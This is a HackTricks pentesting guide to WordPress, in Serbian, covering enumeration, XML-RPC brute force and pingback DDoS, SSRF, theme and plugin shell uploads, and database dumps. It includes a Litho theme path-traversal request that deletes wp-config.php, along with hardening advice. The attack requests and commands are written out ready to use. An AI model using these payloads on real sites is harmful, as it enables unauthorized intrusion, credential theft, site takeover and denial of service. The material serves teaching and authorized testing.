mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
478 lines
23 KiB
Markdown
478 lines
23 KiB
Markdown
# Wordpress
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Osnovne informacije
|
||
|
||
- **Uploaded** datoteke idu na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||
- **Teme se mogu naći u /wp-content/themes/,** tako da ako promenite neki php u temi da biste dobili RCE, verovatno ćete koristiti taj put. Na primer: Koristeći **temu twentytwelve** možete **pristupiti** **404.php** datoteci u: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
- **Još jedan koristan URL može biti:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
- U **wp-config.php** možete pronaći root lozinku baze podataka.
|
||
- Podrazumevani putanje za prijavu koje treba proveriti: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||
|
||
### **Glavne WordPress datoteke**
|
||
|
||
- `index.php`
|
||
- `license.txt` sadrži korisne informacije kao što je verzija WordPress-a koja je instalirana.
|
||
- `wp-activate.php` se koristi za proces aktivacije putem e-pošte prilikom postavljanja nove WordPress stranice.
|
||
- Folderi za prijavu (mogu biti preimenovani da bi se sakrili):
|
||
- `/wp-admin/login.php`
|
||
- `/wp-admin/wp-login.php`
|
||
- `/login.php`
|
||
- `/wp-login.php`
|
||
- `xmlrpc.php` je datoteka koja predstavlja funkciju WordPress-a koja omogućava prenos podataka putem HTTP-a kao transportnog mehanizma i XML-a kao mehanizma kodiranja. Ova vrsta komunikacije je zamenjena WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||
- Folder `wp-content` je glavna direktorijum gde se čuvaju dodaci i teme.
|
||
- `wp-content/uploads/` je direktorijum gde se čuvaju sve datoteke koje su otpremljene na platformu.
|
||
- `wp-includes/` Ovo je direktorijum gde se čuvaju osnovne datoteke, kao što su sertifikati, fontovi, JavaScript datoteke i dodaci.
|
||
- `wp-sitemap.xml` U WordPress verzijama 5.5 i većim, WordPress generiše XML datoteku mape sajta sa svim javnim postovima i javno upitnim tipovima postova i taksonomijama.
|
||
|
||
**Post eksploatacija**
|
||
|
||
- Datoteka `wp-config.php` sadrži informacije potrebne WordPress-u za povezivanje sa bazom podataka, kao što su ime baze podataka, host baze podataka, korisničko ime i lozinka, ključevi za autentifikaciju i soli, i prefiks tabela baze podataka. Ova konfiguraciona datoteka se takođe može koristiti za aktiviranje DEBUG moda, što može biti korisno u rešavanju problema.
|
||
|
||
### Dozvole korisnika
|
||
|
||
- **Administrator**
|
||
- **Urednik**: Objavljuje i upravlja svojim i tuđim postovima
|
||
- **Autor**: Objavljuje i upravlja svojim postovima
|
||
- **Doprinosilac**: Piše i upravlja svojim postovima, ali ih ne može objaviti
|
||
- **Pretplatnik**: Pregleda postove i uređuje svoj profil
|
||
|
||
## **Pasivna enumeracija**
|
||
|
||
### **Dobijanje verzije WordPress-a**
|
||
|
||
Proverite da li možete pronaći datoteke `/license.txt` ili `/readme.html`
|
||
|
||
Unutar **izvora koda** stranice (primer sa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||
|
||
- grep
|
||
```bash
|
||
curl https://victim.com/ | grep 'content="WordPress'
|
||
```
|
||
- `meta name`
|
||
|
||
.png>)
|
||
|
||
- CSS link datoteke
|
||
|
||
.png>)
|
||
|
||
- JavaScript datoteke
|
||
|
||
### Preuzmi dodatke
|
||
```bash
|
||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
```
|
||
### Preuzmi Teme
|
||
```bash
|
||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
```
|
||
### Ekstraktovanje verzija uopšte
|
||
```bash
|
||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||
|
||
```
|
||
## Aktivna enumeracija
|
||
|
||
### Plugin-i i Teme
|
||
|
||
Verovatno nećete moći da pronađete sve moguće Plugin-e i Teme. Da biste ih otkrili, moraćete da **aktivno Brute Force-ujete listu Plugin-a i Tema** (na sreću, postoje automatski alati koji sadrže ove liste).
|
||
|
||
### Korisnici
|
||
|
||
- **ID Brute:** Dobijate validne korisnike sa WordPress sajta Brute Forcing-om ID-eva korisnika:
|
||
```bash
|
||
curl -s -I -X GET http://blog.example.com/?author=1
|
||
```
|
||
Ako su odgovori **200** ili **30X**, to znači da je id **validan**. Ako je odgovor **400**, onda je id **nevalidan**.
|
||
|
||
- **wp-json:** Takođe možete pokušati da dobijete informacije o korisnicima upitom:
|
||
```bash
|
||
curl http://blog.example.com/wp-json/wp/v2/users
|
||
```
|
||
Još jedan `/wp-json/` krajnji tačka koja može otkriti neke informacije o korisnicima je:
|
||
```bash
|
||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||
```
|
||
Napomena da ovaj krajnji tačka izlaže samo korisnike koji su napravili post. **Samo informacije o korisnicima koji imaju ovu funkciju omogućenu će biti pružene**.
|
||
|
||
Takođe, napomena da **/wp-json/wp/v2/pages** može da otkrije IP adrese.
|
||
|
||
- **Enumeracija korisničkih imena za prijavu**: Kada se prijavljujete na **`/wp-login.php`**, **poruka** je **drugačija** u zavisnosti od toga da li je navedeno **korisničko ime postoji ili ne**.
|
||
|
||
### XML-RPC
|
||
|
||
Ako je `xml-rpc.php` aktivan, možete izvršiti brute-force napad na kredencijale ili ga koristiti za pokretanje DoS napada na druge resurse. (Možete automatizovati ovaj proces[ koristeći ovo](https://github.com/relarizky/wpxploit) na primer).
|
||
|
||
Da biste proverili da li je aktivan, pokušajte da pristupite _**/xmlrpc.php**_ i pošaljite ovaj zahtev:
|
||
|
||
**Proveri**
|
||
```html
|
||
<methodCall>
|
||
<methodName>system.listMethods</methodName>
|
||
<params></params>
|
||
</methodCall>
|
||
```
|
||

|
||
|
||
**Bruteforce kredencijali**
|
||
|
||
**`wp.getUserBlogs`**, **`wp.getCategories`** ili **`metaWeblog.getUsersBlogs`** su neke od metoda koje se mogu koristiti za bruteforce kredencijale. Ako možete pronaći neku od njih, možete poslati nešto poput:
|
||
```html
|
||
<methodCall>
|
||
<methodName>wp.getUsersBlogs</methodName>
|
||
<params>
|
||
<param><value>admin</value></param>
|
||
<param><value>pass</value></param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
Poruka _"Pogrešno korisničko ime ili lozinka"_ unutar odgovora sa kodom 200 treba da se pojavi ako akreditivi nisu validni.
|
||
|
||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||
|
||
.png>)
|
||
|
||
Korišćenjem ispravnih akreditiva možete da otpremite datoteku. U odgovoru će se pojaviti putanja ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||
```html
|
||
<?xml version='1.0' encoding='utf-8'?>
|
||
<methodCall>
|
||
<methodName>wp.uploadFile</methodName>
|
||
<params>
|
||
<param><value><string>1</string></value></param>
|
||
<param><value><string>username</string></value></param>
|
||
<param><value><string>password</string></value></param>
|
||
<param>
|
||
<value>
|
||
<struct>
|
||
<member>
|
||
<name>name</name>
|
||
<value><string>filename.jpg</string></value>
|
||
</member>
|
||
<member>
|
||
<name>type</name>
|
||
<value><string>mime/type</string></value>
|
||
</member>
|
||
<member>
|
||
<name>bits</name>
|
||
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
|
||
</member>
|
||
</struct>
|
||
</value>
|
||
</param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
Takođe postoji **brži način** za brute-force kredencijale koristeći **`system.multicall`** jer možete isprobati nekoliko kredencijala u istom zahtevu:
|
||
|
||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**Obilaženje 2FA**
|
||
|
||
Ova metoda je namenjena programima, a ne ljudima, i stara je, stoga ne podržava 2FA. Dakle, ako imate važeće kredencijale, ali je glavni ulaz zaštićen 2FA, **možda ćete moći da zloupotrebite xmlrpc.php da se prijavite sa tim kredencijalima obilažeći 2FA**. Imajte na umu da nećete moći da izvršite sve radnje koje možete da uradite putem konzole, ali možda ćete i dalje moći da dođete do RCE-a kao što Ippsec objašnjava u [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||
|
||
**DDoS ili skeniranje portova**
|
||
|
||
Ako možete pronaći metodu _**pingback.ping**_ unutar liste, možete naterati Wordpress da pošalje proizvoljan zahtev bilo kojem hostu/portu.\
|
||
Ovo se može koristiti da se zatraži **hiljade** Wordpress **sajtova** da **pristupe** jednoj **lokaciji** (tako da se izazove **DDoS** u toj lokaciji) ili možete to koristiti da naterate **Wordpress** da **skanira** neku internu **mrežu** (možete naznačiti bilo koji port).
|
||
```html
|
||
<methodCall>
|
||
<methodName>pingback.ping</methodName>
|
||
<params><param>
|
||
<value><string>http://<YOUR SERVER >:<port></string></value>
|
||
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
|
||
</value></param></params>
|
||
</methodCall>
|
||
```
|
||

|
||
|
||
Ako dobijete **faultCode** sa vrednošću **većom** od **0** (17), to znači da je port otvoren.
|
||
|
||
Pogledajte korišćenje **`system.multicall`** u prethodnom odeljku da biste naučili kako da zloupotrebite ovu metodu za izazivanje DDoS-a.
|
||
|
||
**DDoS**
|
||
```html
|
||
<methodCall>
|
||
<methodName>pingback.ping</methodName>
|
||
<params>
|
||
<param><value><string>http://target/</string></value></param>
|
||
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
|
||
</params>
|
||
</methodCall>
|
||
```
|
||
.png>)
|
||
|
||
### wp-cron.php DoS
|
||
|
||
Ova datoteka obično postoji u korenu Wordpress sajta: **`/wp-cron.php`**\
|
||
Kada se ova datoteka **pristupi**, izvršava se "**teška**" MySQL **upit**, tako da bi mogla biti korišćena od strane **napadača** da **uzrokuje** **DoS**.\
|
||
Takođe, po defaultu, `wp-cron.php` se poziva pri svakom učitavanju stranice (svaki put kada klijent zatraži neku Wordpress stranicu), što na sajtovima sa visokim prometom može izazvati probleme (DoS).
|
||
|
||
Preporučuje se da se onemogući Wp-Cron i da se kreira pravi cronjob unutar hosta koji izvršava potrebne radnje u redovnim intervalima (bez izazivanja problema).
|
||
|
||
### /wp-json/oembed/1.0/proxy - SSRF
|
||
|
||
Pokušajte da pristupite _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i Wordpress sajt može da pošalje zahtev ka vama.
|
||
|
||
Ovo je odgovor kada ne funkcioniše:
|
||
|
||
.png>)
|
||
|
||
## SSRF
|
||
|
||
{{#ref}}
|
||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||
{{#endref}}
|
||
|
||
Ovaj alat proverava da li **methodName: pingback.ping** postoji za putanju **/wp-json/oembed/1.0/proxy** i ako postoji, pokušava da ih iskoristi.
|
||
|
||
## Automatic Tools
|
||
```bash
|
||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||
```
|
||
## Dobijanje pristupa prepisivanjem bita
|
||
|
||
Više od pravog napada, ovo je radoznalost. U CTF-u [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) mogli ste da prebacite 1 bit iz bilo kog wordpress fajla. Tako ste mogli da prebacite poziciju `5389` fajla `/var/www/html/wp-includes/user.php` da NOP-ujete NOT (`!`) operaciju.
|
||
```php
|
||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||
return new WP_Error(
|
||
```
|
||
## **Panel RCE**
|
||
|
||
**Modifikovanje php iz teme koja se koristi (potrebne admin kredencijale)**
|
||
|
||
Izgled → Urednik teme → 404 Šablon (s desne strane)
|
||
|
||
Promenite sadržaj za php shell:
|
||
|
||
.png>)
|
||
|
||
Pretražite internet kako možete pristupiti toj ažuriranoj stranici. U ovom slučaju morate pristupiti ovde: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||
|
||
### MSF
|
||
|
||
Možete koristiti:
|
||
```bash
|
||
use exploit/unix/webapp/wp_admin_shell_upload
|
||
```
|
||
to get a session.
|
||
|
||
## Plugin RCE
|
||
|
||
### PHP plugin
|
||
|
||
Možda je moguće uploadovati .php fajlove kao plugin.\
|
||
Kreirajte svoj php backdoor koristeći, na primer:
|
||
|
||
.png>)
|
||
|
||
Zatim dodajte novi plugin:
|
||
|
||
.png>)
|
||
|
||
Uploadujte plugin i pritisnite Install Now:
|
||
|
||
.png>)
|
||
|
||
Kliknite na Procced:
|
||
|
||
.png>)
|
||
|
||
Verovatno ovo neće učiniti ništa očigledno, ali ako odete na Media, videćete vaš shell uploadovan:
|
||
|
||
.png>)
|
||
|
||
Pristupite mu i videćete URL za izvršavanje reverse shell-a:
|
||
|
||
.png>)
|
||
|
||
### Uploading and activating malicious plugin
|
||
|
||
Ova metoda uključuje instalaciju malicioznog plugina za koji se zna da je ranjiv i može se iskoristiti za dobijanje web shell-a. Ovaj proces se sprovodi kroz WordPress kontrolnu tablu na sledeći način:
|
||
|
||
1. **Plugin Acquisition**: Plugin se dobija iz izvora kao što je Exploit DB kao [**here**](https://www.exploit-db.com/exploits/36374).
|
||
2. **Plugin Installation**:
|
||
- Idite na WordPress kontrolnu tablu, zatim idite na `Dashboard > Plugins > Upload Plugin`.
|
||
- Uploadujte zip fajl preuzetog plugina.
|
||
3. **Plugin Activation**: Kada je plugin uspešno instaliran, mora se aktivirati kroz kontrolnu tablu.
|
||
4. **Exploitation**:
|
||
- Sa instaliranim i aktiviranim pluginom "reflex-gallery", može se iskoristiti jer je poznato da je ranjiv.
|
||
- Metasploit framework pruža exploit za ovu ranjivost. Učitajte odgovarajući modul i izvršite specifične komande da biste uspostavili meterpreter sesiju, što omogućava neovlašćen pristup sajtu.
|
||
- Napominje se da je ovo samo jedna od mnogih metoda za iskorišćavanje WordPress sajta.
|
||
|
||
Sadržaj uključuje vizuelne prikaze koraka u WordPress kontrolnoj tabli za instalaciju i aktivaciju plugina. Međutim, važno je napomenuti da je iskorišćavanje ranjivosti na ovaj način ilegalno i neetično bez odgovarajuće dozvole. Ove informacije treba koristiti odgovorno i samo u legalnom kontekstu, kao što je pentesting sa izričitom dozvolom.
|
||
|
||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||
|
||
## From XSS to RCE
|
||
|
||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ je skripta dizajnirana da eskalira **Cross-Site Scripting (XSS)** ranjivost na **Remote Code Execution (RCE)** ili druge kritične ranjivosti u WordPress-u. Za više informacija pogledajte [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Pruža **podršku za Wordpress verzije 6.X.X, 5.X.X i 4.X.X i omogućava:**
|
||
- _**Privilege Escalation:**_ Kreira korisnika u WordPress-u.
|
||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Uploadujte svoj prilagođeni plugin (backdoor) u WordPress.
|
||
- _**(RCE) Built-In Plugin Edit:**_ Uredite ugrađene plugine u WordPress-u.
|
||
- _**(RCE) Built-In Theme Edit:**_ Uredite ugrađene teme u WordPress-u.
|
||
- _**(Custom) Custom Exploits:**_ Prilagođeni exploits za treće strane WordPress plugine/teme.
|
||
|
||
## Post Exploitation
|
||
|
||
Izvucite korisnička imena i lozinke:
|
||
```bash
|
||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||
```
|
||
Promenite administratorsku lozinku:
|
||
```bash
|
||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||
```
|
||
## Wordpress Plugins Pentest
|
||
|
||
### Attack Surface
|
||
|
||
Znanje o tome kako Wordpress dodatak može izložiti funkcionalnost je ključno za pronalaženje ranjivosti u njegovoj funkcionalnosti. Možete pronaći kako dodatak može izložiti funkcionalnost u sledećim tačkama i neke primere ranjivih dodataka u [**ovom blog postu**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||
|
||
- **`wp_ajax`**
|
||
|
||
Jedan od načina na koji dodatak može izložiti funkcije korisnicima je putem AJAX handler-a. Ovi handler-i mogu sadržati logiku, greške u autorizaciji ili autentifikaciji. Štaviše, često se dešava da će ove funkcije zasnivati i autentifikaciju i autorizaciju na postojanju Wordpress nonce-a koji **bilo koji korisnik autentifikovan u Wordpress instanci može imati** (nezavisno od njegove uloge).
|
||
|
||
Ovo su funkcije koje se mogu koristiti za izlaganje funkcije u dodatku:
|
||
```php
|
||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||
```
|
||
**Korišćenje `nopriv` čini krajnju tačku dostupnom svim korisnicima (čak i neautentifikovanim).**
|
||
|
||
> [!CAUTION]
|
||
> Pored toga, ako funkcija samo proverava autorizaciju korisnika pomoću funkcije `wp_verify_nonce`, ova funkcija samo proverava da li je korisnik prijavljen, obično ne proverava ulogu korisnika. Tako da korisnici sa niskim privilegijama mogu imati pristup akcijama sa visokim privilegijama.
|
||
|
||
- **REST API**
|
||
|
||
Takođe je moguće izložiti funkcije iz WordPress-a registrujući REST AP koristeći funkciju `register_rest_route`:
|
||
```php
|
||
register_rest_route(
|
||
$this->namespace, '/get/', array(
|
||
'methods' => WP_REST_Server::READABLE,
|
||
'callback' => array($this, 'getData'),
|
||
'permission_callback' => '__return_true'
|
||
)
|
||
);
|
||
```
|
||
`permission_callback` je povratna funkcija koja proverava da li je dati korisnik ovlašćen da pozove API metodu.
|
||
|
||
**Ako se koristi ugrađena funkcija `__return_true`, jednostavno će preskočiti proveru korisničkih dozvola.**
|
||
|
||
- **Direktan pristup php datoteci**
|
||
|
||
Naravno, WordPress koristi PHP i datoteke unutar dodataka su direktno dostupne sa veba. Dakle, u slučaju da dodatak izlaže bilo koju ranjivu funkcionalnost koja se aktivira jednostavnim pristupom datoteci, biće eksploatabilna od strane bilo kog korisnika.
|
||
|
||
### Neautentifikovano proizvoljno brisanje datoteka putem wp_ajax_nopriv (Litho Tema <= 3.0)
|
||
|
||
WordPress teme i dodaci često izlažu AJAX rukovaoce putem `wp_ajax_` i `wp_ajax_nopriv_` hook-ova. Kada se koristi varijanta **_nopriv_**, **povratna funkcija postaje dostupna neautentifikovanim posetiocima**, tako da svaka osetljiva akcija mora dodatno implementirati:
|
||
|
||
1. Proveru **kapaciteta** (npr. `current_user_can()` ili barem `is_user_logged_in()`), i
|
||
2. **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i
|
||
3. **Strogu sanitizaciju / validaciju unosa**.
|
||
|
||
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrola u funkciji *Remove Font Family* i završila je sa slanjem sledećeg koda ( pojednostavljeno):
|
||
```php
|
||
function litho_remove_font_family_action_data() {
|
||
if ( empty( $_POST['fontfamily'] ) ) {
|
||
return;
|
||
}
|
||
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
|
||
$upload_dir = wp_upload_dir();
|
||
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
|
||
$filesystem = Litho_filesystem::init_filesystem();
|
||
|
||
if ( file_exists( $srcdir ) ) {
|
||
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
|
||
}
|
||
die();
|
||
}
|
||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||
```
|
||
Problemi koje uvodi ovaj deo koda:
|
||
|
||
* **Neautentifikovani pristup** – `wp_ajax_nopriv_` hook je registrovan.
|
||
* **Nema nonce / provere sposobnosti** – bilo koji posetilac može da pristupi kraju.
|
||
* **Nema sanitizacije putanje** – string `fontfamily` koji kontroliše korisnik se konkatenira sa putanjom do datotečnog sistema bez filtriranja, što omogućava klasičnu `../../` traversalu.
|
||
|
||
#### Eksploatacija
|
||
|
||
Napadač može obrisati bilo koju datoteku ili direktorijum **ispod osnovnog direktorijuma za upload** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
|
||
```bash
|
||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||
-d 'action=litho_remove_font_family_action_data' \
|
||
-d 'fontfamily=../../../../wp-config.php'
|
||
```
|
||
Zato što `wp-config.php` živi van *uploads*, četiri `../` sekvence su dovoljne na podrazumevanoj instalaciji. Brisanje `wp-config.php` prisiljava WordPress da uđe u *čarobnjaka za instalaciju* pri sledećem posetu, omogućavajući potpunu preuzimanje sajta (napadač samo unosi novu DB konfiguraciju i kreira admin korisnika).
|
||
|
||
Ostali značajni ciljevi uključuju plugin/theme `.php` datoteke (da bi se prekinuli sigurnosni pluginovi) ili `.htaccess` pravila.
|
||
|
||
#### Lista za detekciju
|
||
|
||
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` povratni poziv koji poziva pomoćne funkcije za datotečni sistem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
|
||
* Konkatenacija nepročišćenog korisničkog unosa u putanje (tražite `$_POST`, `$_GET`, `$_REQUEST`).
|
||
* Odsustvo `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
|
||
|
||
#### Ojačavanje
|
||
```php
|
||
function secure_remove_font_family() {
|
||
if ( ! is_user_logged_in() ) {
|
||
wp_send_json_error( 'forbidden', 403 );
|
||
}
|
||
check_ajax_referer( 'litho_fonts_nonce' );
|
||
|
||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||
|
||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||
wp_send_json_error( 'invalid path', 400 );
|
||
}
|
||
// … proceed …
|
||
}
|
||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||
// 🔒 NO wp_ajax_nopriv_ registration
|
||
```
|
||
> [!TIP]
|
||
> **Uvek** tretirajte svaku operaciju pisanja/brisanja na disku kao privilegovanu i dvostruko proverite:
|
||
> • Autentifikacija • Autorizacija • Nonce • Sanitizacija ulaza • Ograničenje putanje (npr. putem `realpath()` plus `str_starts_with()`).
|
||
|
||
---
|
||
|
||
## WordPress zaštita
|
||
|
||
### Redovne ažuriranja
|
||
|
||
Proverite da li su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
|
||
```bash
|
||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||
add_filter( 'auto_update_plugin', '__return_true' );
|
||
add_filter( 'auto_update_theme', '__return_true' );
|
||
```
|
||
Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**.
|
||
|
||
### Bezbednosni dodaci
|
||
|
||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
|
||
|
||
### **Ostale preporuke**
|
||
|
||
- Uklonite podrazumevanog **admin** korisnika
|
||
- Koristite **jake lozinke** i **2FA**
|
||
- Periodično **proveravajte** dozvole korisnika
|
||
- **Ograničite pokušaje prijavljivanja** kako biste sprečili Brute Force napade
|
||
- Preimenujte **`wp-admin.php`** datoteku i dozvolite pristup samo interno ili sa određenih IP adresa.
|
||
|
||
## Reference
|
||
|
||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|